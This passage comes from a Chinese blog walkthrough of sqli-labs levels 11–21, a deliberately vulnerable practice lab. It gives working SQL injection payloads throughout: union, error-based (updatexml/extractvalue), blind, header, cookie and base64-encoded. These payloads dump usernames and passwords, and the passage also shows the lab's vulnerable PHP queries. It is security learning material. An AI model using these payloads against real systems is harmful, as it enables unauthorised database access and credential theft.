  decoding="async" width="1920" height="903"
/>
</p>
<p>看到两个返回值，再试试3个，<code>-1' union select 1,2,3 -- #</code><img
  src="/aa27d0/less11-6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>错误，说明字段两个，并且都是回显点</p>
<p><strong>爆库</strong></p>
<p>查看版本和数据库名，<code>-1' union select database(),version() -- #</code><img
  src="/aa27d0/less11-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>数据库名：security</p>
<p><strong>爆表</strong></p>
<p><code>-1' union select group_concat(table_name) from information_schema.tables where table_schema='security',version() -- #</code></p>
<p><img
  src="/aa27d0/less11-8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>出错了，这里我很奇怪，为什么查询语句放1位置不行，放2位置就可以了，payload：<code>-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- #</code></p>
<p><img
  src="/aa27d0/less11-9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>这里解释一下，是因为SQL语句我没学好，看这句：<code>-1' union select group_concat(table_name),version() from information_schema.tables where table_schema='security' -- #</code>也能成功，因为逗号前后是查询的数据，要from某个地方。前面那句错的，我1号位写那么完整，在2号位写东西一定错，这是union select语法</p>
<p>表名：emails、referers、uagents、users</p>
<p><strong>爆字段</strong></p>
<p><code>-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- #</code></p>
<p><img
  src="/aa27d0/less11-10.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>字段名：USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS、id、username、password</p>
<p><strong>爆数据</strong></p>
<p>爆用户名：<code>-1' union select 1,group_concat(username) from security.users -- #</code><img
  src="/aa27d0/less11-11.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>爆密码：<code>-1' union select 1,group_concat(password) from security.users -- #</code><img
  src="/aa27d0/less11-12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>这里一句直接爆，一样的<code>-1' union select group_concat(username),group_concat(password) from security.users #</code><img
  src="/aa27d0/less11-13.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>大功告成，虽然没熟练POST类型的注入和HACKBAR的用法，但大致理解了一些。</p>
<h2 id="less-12">less-12<a class="anchor" href="#less-12">#</a></h2>
<p>这题自己撸出来的，虽然看了一下源码OvO</p>
<p>尝试了很多次，登录都是失败，报错总说我语法有问题，可题目说了是双引号呀，应该没错呀，迫不得己看了下源码。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="nv">$uname</span><span class="o">=</span><span class="s1">&#39;&#34;&#39;</span><span class="o">.</span><span class="nv">$uname</span><span class="o">.</span><span class="s1">&#39;&#34;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nv">$passwd</span><span class="o">=</span><span class="s1">&#39;&#34;&#39;</span><span class="o">.</span><span class="nv">$passwd</span><span class="o">.</span><span class="s1">&#39;&#34;&#39;</span><span class="p">;</span> 
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="o">@</span><span class="nv">$sql</span><span class="o">=</span><span class="s2">&#34;SELECT username, password FROM users WHERE username=(</span><span class="si">$uname</span><span class="s2">) and password=(</span><span class="si">$passwd</span><span class="s2">) LIMIT 0,1&#34;</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>看看看，这里不仅加了双引号，它还加了括号</p>
<p><strong>构造用户名注入</strong></p>
<p><code>admin&quot;) or &quot;1&quot;=(&quot;1</code>这句可以登录，是因为闭合了括号并且条件永真</p>
<p><code>admin&quot;) #</code>这句也可以，把后面注释，SQL语句就是只验证用户名不验证密码</p>
<p>用户名处的要求数据库有这个用户名，否则不行</p>
<p><strong>构造密码注入</strong></p>
<p><code>qwe&quot;) or &quot;1&quot;=(&quot;1</code>这句也是闭合了符号，并且条件永真，用户名随便写，这也是万能密码的原理</p>
<p>猜解字段</p>
<p>在用户名未知的情况下，我们无法使用<code>admin&quot;) order by n #</code>这种猜解字段方式，这种方式要求你知道数据库中有这个用户名。</p>
<p>我们站在未知的角度，这里使用union select查询，来测试字段数，这里一律在用户名处构造，<code>-1&quot;) union select 1,2#</code><img
  src="/aa27d0/less12-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>成功，我们再试一下3个字段<img
  src="/aa27d0/less12-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>失败，说明只有两个字段</p>
<p>爆库，<code>-1&quot;) union select database(),version()#</code><img
  src="/aa27d0/less12-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>接下来就是常规了，我就直接放爆数据的payload了</p>
<p><code>-1&quot;) union select group_concat(username),group_concat(password) from security.users#</code><img
  src="/aa27d0/less12-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>大功告成</p>
<h2 id="less-13">less-13<a class="anchor" href="#less-13">#</a></h2>
<p>测试一番后，输入<code>admin'</code><img
  src="/aa27d0/less13-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>根据报错可知道是单引号加括号闭合，我们输入构造的密码语句：<code>adn') or '1'=('1</code><img
  src="/aa27d0/less13-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>登录不回显，但刚才测试时有报错信息，这里使用报错注入，我比较喜欢updatexml报错注入</p>
<p>爆库</p>
<p>爆库名和版本，<code>-1') or updatexml(1,concat(0x7e,database(),0x7e,version()),1) #</code>，<img
  src="/aa27d0/less13-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>库名：security，版本：5.7.26</p>
<p>爆表</p>
<p><code>-1') or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #</code><img
  src="/aa27d0/less13-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="571"
/>
</p>
<p>表名：emails、referers、uagents、users</p>
<p>爆字段</p>
<p><code>-1') or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #</code><img
  src="/aa27d0/less13-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="571"
/>
</p>
<p>由于updatexml只能显示32字符，所以显示不全，这里我们截取查看</p>
<p><code>-1') or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),40,30),0x7e),1) #</code></p>
<p><img
  src="/aa27d0/less13-6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="571"
/>
</p>
<p>重要字段：id、username、password</p>
<p>爆数据</p>
<p><code>-1') or updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) #</code></p>
<p><img
  src="/aa27d0/less13-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="571"
/>
</p>
<p>密码同理</p>
<p>updatexml有限制，下次学个新的</p>
<h2 id="less-14">less-14<a class="anchor" href="#less-14">#</a></h2>
<p>跟less-13一样，只不过只有双引号闭合，这次用extractvalue报错注入</p>
<p>直接爆密码吧，<code>-1&quot; or extractvalue(null,concat(0x7e,(select group_concat(password) from security.users))) #</code></p>
<p><img
  src="/aa27d0/less14-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>这种只改动某一点的关卡，就一篇带过了，详情可以看前一篇</p>
<h2 id="less-15">less-15<a class="anchor" href="#less-15">#</a></h2>
<p>测试一番后，发现是单引号闭合，题目名字也提示了布尔盲注</p>
<p>先来测试一下数据库长度，<code>-1' or length(database())=6#</code></p>
<p><img
  src="/aa27d0/less15-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="573"
/>
</p>
<p>报错，试一下长度为8，<code>-1' or length(database())=8#</code></p>
<p><img
  src="/aa27d0/less15-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="686"
/>
</p>
<p>成功，所以数据库长度为8，同理试试数据库名的第一位</p>
<p><code>-1' or substr(database(),1,1)='s'#</code></p>
<p>也成功，布尔盲注原理就是这个，随后还要测试表有几个，第一个名字。第二个名字&hellip;.然后字段数，字段名&hellip;.特别繁杂，道理一样的，写脚本会更方便</p>
<h2 id="less-16">less-16<a class="anchor" href="#less-16">#</a></h2>
<p>测试后发现是<code>(&quot;&quot;)</code>闭合的</p>
<p>测试发现<code>admin&quot;) and sleep(2)#</code>可以使浏览器延迟2秒左右，故存在时间盲注，步骤和前一关一样，举个例子，测试数据库长度<code>-1&quot;) or length(database())=8#</code><img
  src="/aa27d0/less16-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>成功，说明猜解正确，其他也一样道理</p>
<p>注意，使用if语句判断更好，快一点，而且脚本大多使用if语句。在测试的时候有时候有个坑，比如<code>-1&quot;) or sleep(2) #</code>按理说也是对的，但是它转圈停不下来，应该转2秒左右显示成功，结果一直转，据说是因为选中多条数据，每条都延迟一段时间。有机会再研究吧！</p>
<h2 id="less-17">less-17<a class="anchor" href="#less-17">#</a></h2>
<p>刚开始我在用户名那里玩半天，一直失败，后来抬头一看才知道是一个密码重置的网页。</p>
<p><img
  src="/aa27d0/less17-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>而且用户名那里不报错的，只有密码那个框不规范会报错。然后重置密码要求正确的用户名，前提就是要你知道用户名，这里用网页提示的那个<code>Dhakkan</code>进行密码位置的报错注入吧！</p>
<p><strong>爆库</strong></p>
<p><code>-1' or extractvalue(null,concat(0x7e,database())) #</code></p>
<p><img
  src="/aa27d0/less17-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="703"
/>
</p>
<p>库名：security</p>
<p><strong>爆表</strong></p>
<p><code>1' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) #</code></p>
<p><img
  src="/aa27d0/less17-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="703"
/>
</p>
<p>注意我把-1改成了1，or改成了and，不知道为什么那种错了</p>
<p>敏感表名：users</p>
<p>爆字段</p>
<p><code>1' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) #</code></p>
<p><img
  src="/aa27d0/less17-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="703"
/>
</p>
<p>最多显示32字符，所以我们截取查看</p>
<p><code>1' and extractvalue(null,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),40,30),0x7e)) #</code></p>
<p><img
  src="/aa27d0/less17-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="703"
/>
</p>
<p>敏感字段名：username、password</p>
<p>爆数据</p>
<p><code>1' and extractvalue(null,concat(0x7e,(select group_concat(username) from security.users),0x7e)) #</code></p>
<p><img
  src="/aa27d0/less17-6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="703"
/>
</p>
<p>这里是SQL语法有问题，updatexml是更新，select从表里查询，不能利用select查询后，再使用函数更新它，所以报错。这个问题只出现在MySQL</p>
<p>使用派生查询解决</p>
<p>注意要取个别名</p>
<p><code>1' and extractvalue(null,concat(0x7e,(select group_concat(username) from (select username from security.users)bieming),0x7e)) #</code></p>
<p><img
  src="/aa27d0/less17-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="703"
/>
</p>
<p>看其他部分使用substr截取就行，密码同理</p>
<h2 id="less-18">less-18<a class="anchor" href="#less-18">#</a></h2>
<p>咋试都不行，还一直显示IP，看了wp才知道，源码里的check_input函数限制死了，无法注入，源码里有一部分是注入点</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="nv">$insert</span><span class="o">=</span><span class="s2">&#34;INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (&#39;</span><span class="si">$uagent</span><span class="s2">&#39;, &#39;</span><span class="si">$IP</span><span class="s2">&#39;, </span><span class="si">$uname</span><span class="s2">)&#34;</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>它会把user-agent、IP、username插入到表的对应字段，这里就是注入点，需要抓包改user-agent，这关模拟的是登录后的场景。</p>
<p>登录的时候老是错？因为你在第17关修改密码了，重置数据库即可</p>
<p><img
  src="/aa27d0/less18-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="980" height="347"
/>
</p>
<p>爆库</p>
<p><code>'and updatexml(1,concat(0x7e,database(),0x7e),1)and'</code></p>
<p><img
  src="/aa27d0/less18-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1611" height="597"
/>
</p>
<p>右边已经回显了，并且把库名查了出来</p>
<p>库名：security</p>
<p>爆表</p>
<p><code>'or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)and'</code>这里我本来是and一直不出，改成or就出了，奇怪，爆库那句怎么可以</p>
<p><img
  src="/aa27d0/less18-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1599" height="626"
/>
</p>
<p>敏感表：users</p>
<p>爆字段</p>
<p><code>'or updatexml(1,concat(0x7e,substr((select group_concat(column_name)from information_schema.columns where table_name='users'),40,30),0x7e),1)and'</code></p>
<p><img
  src="/aa27d0/less18-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1597" height="605"
/>
</p>
<p>敏感字段：username、password</p>
<p>爆数据</p>
<p><code>'or updatexml(1,concat(0x7e,(select group_concat(username)from security.users),0x7e),1)and'</code></p>
<p><img
  src="/aa27d0/less18-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1574" height="589"
/>
</p>
<p>密码同理，看更多就用substr截取</p>
<p>长知识了，还有头部注入，这个原因就是后台记录响应头内容导致的，下一关应该也是头里某个地方</p>
<h2 id="less-19">less-19<a class="anchor" href="#less-19">#</a></h2>
<p>跟上一关一样，只不过在头文件里的Referer里注入，直接爆表吧</p>
<p><code>'or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)and'</code></p>
<p><img
  src="/aa27d0/less19-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1592" height="624"
/>
</p>
<p>爆出来了，后面的字段，数据，类推就行</p>
<h2 id="less-20">less-20<a class="anchor" href="#less-20">#</a></h2>
<p>跟前两关一个德行，登录</p>
<p><img
  src="/aa27d0/less20-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="903"
/>
</p>
<p>题目就说了是Cookie注入，而且下面熟悉的显示账号密码，那这肯定就是回显点，测试一番后发现是单引号闭合，那就直接爆表吧，后面的顺着来就行</p>
<p><strong>如何抓Cookie包？</strong></p>
<p>登录的时候抓包<img
  src="/aa27d0/less20-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1607" height="844"
/>
</p>
<p>发送到Repeater，发包，可以看到右边的返回有set-cookie的字段</p>
<p><img
  src="/aa27d0/less20-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1615" height="841"
/>
</p>
<p>点击右边的Render，查看页面里的内容，有I LOVE YOU COOKIES<img
  src="/aa27d0/less20-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1616" height="839"
/>
</p>
<p>回到proxy页面，Forward一下<img
  src="/aa27d0/less20-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1607" height="833"
/>
</p>
<p>可以看到已经有Cookie了，我们再发到Repeater<img
  src="/aa27d0/less20-6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1612" height="836"
/>
</p>
<p>这就已经抓到cookie了，可以在这里操作cookie，发包，然后查看Render即可<img
  src="/aa27d0/less20-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1586" height="826"
/>
</p>
<p><strong>爆表</strong></p>
<p>那些猜解字段数，爆库&hellip;.等等就不操作了，放个典型的爆表的</p>
<p><code>Cookie: uname=-1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()#</code></p>
<p><img
  src="/aa27d0/less20-8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1601" height="614"
/>
</p>
<p>其他的类推就行</p>
<h2 id="less-21">less-21<a class="anchor" href="#less-21">#</a></h2>
<p>跟上一关一样只不过改成了base64编码，先测试一下<code>admin' or 1=1 #</code>编码后<code>YWRtaW4nIG9yIDE9MSAj</code></p>
<p><img
  src="/aa27d0/less21-1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1540" height="764"
/>
</p>
<p>报这个错误我也是不明白，看了其他人的wp才知道，使用<code>#</code>或者<code>-- #</code>就会这样，使用其他的爆不出数据，奇葩</p>
<p>看了源码才知道，这里应该是要加<code>)</code>的，它提示有问题，离谱</p>
<p><strong>测试</strong></p>
<p><code>admin') or 1=1 #</code></p>
<p>base64加密：</p>
<p><code>YWRtaW4nKSBvciAxPTEgIw==</code></p>
<p><img
  src="/aa27d0/less21-2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1547" height="792"
/>
</p>
<p>显示Dumb什么鬼？，不管了，语句没问题</p>
<p>猜解字段数</p>
<p><code>admin') order by 1,2,3 #</code></p>
<p>base64加密：</p>
<p><code>YWRtaW4nKSBvcmRlciBieSAxLDIsMyAj</code></p>
<p><img
  src="/aa27d0/less21-3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1561" height="788"
/>
</p>
<p>回显正常，继续测试（这里怎么又是admin了。。。）</p>
<p><code>admin') order by 1,2,3,4 #</code></p>
<p>base64加密：</p>
<p><code>YWRtaW4nKSBvcmRlciBieSAxLDIsMyw0ICM=</code></p>
<p><img
  src="/aa27d0/less21-4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1537" height="714"
/>
</p>
<p>找不到第4列，说明字段数为3</p>
<p>测试回显点</p>
<p><code>1') union select 1,2,3 #</code></p>
<p>base64加密：</p>
<p><code>MScpIHVuaW9uIHNlbGVjdCAxLDIsMyAj</code></p>
<p><img
  src="/aa27d0/less21-5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1555" height="803"
/>
</p>
<p>回显为2、3</p>
<p>爆库</p>
<p><code>1') union select 1,database(),version() #</code></p>
<p>base64加密：</p>
<p><code>MScpIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksdmVyc2lvbigpICM=</code></p>
<p><img
  src="/aa27d0/less21-6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1549" height="788"
/>
</p>
<p>库名：security 版本：5.7.26</p>
<p>爆表</p>
<p><code>1') union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),version() #</code></p>
<p>base64加密：</p>
<p>这里我用代码块装base64编码，否则编辑器不自动换行，一行显示base64编码，导致网页里看不全</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">MScpIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSx2ZXJzaW9uKCkgIw</span><span class="o">==</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/aa27d0/less21-7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1550" height="811"
/>
</p>
<p>敏感表：users</p>
<p>爆字段</p>
<p><code>1') union select 1,substr((select group_concat(column_name)from information_schema.columns where table_name='users'),40,30),version() #</code></p>
<p>base64加密：</p>
